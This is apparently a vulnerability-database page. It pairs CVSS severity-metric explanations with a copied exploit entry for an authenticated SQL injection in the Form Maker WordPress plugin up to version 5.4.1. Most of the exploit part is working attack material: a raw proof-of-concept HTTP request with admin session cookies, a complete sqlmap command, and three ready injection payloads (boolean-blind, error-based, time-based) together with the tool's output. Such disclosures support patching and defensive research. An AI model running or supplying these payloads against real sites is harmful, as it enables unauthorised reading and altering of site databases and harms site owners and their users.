The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Wordpress Plugin Form Maker 5.4.1 s SQL Injection (Authenticated)
# Exploit Title: Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Date: 2020 - 5 - 22
# Vender Homepage: https://help.10web.io/
# Version: <= 5.4.1
# Tested on: Ubuntu 18.04
Description:
SQL injection in the Form Maker by 10Web WordPress Plugin before 5.4.1
exists via the /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" s
parameter.
Poc:
GET /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" HTTP/1.1
Host: test-wp.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1590140574;
PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb
Upgrade-Insecure-Requests: 1
SQLMap using:
sqlmap -u '
http://test-wp.com:80/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=123'
--cookie='wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;wordpress_test_cookie=WP+Cookie+check;wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;wp-settings-1=libraryContent%3Dbrowse;wp-settings-time-1=1590140574;PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb'
Parameter: s (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: page=blocked_ips_fm&s=-1027" OR 8913=8913#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: page=blocked_ips_fm&s=123" AND (SELECT 2867 FROM(SELECT
COUNT(*),CONCAT(0x717a707871,(SELECT
(ELT(2867=2867,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TxQH
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: page=blocked_ips_fm&s=123" AND SLEEP(5)-- oPEC
---
[17:20:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0
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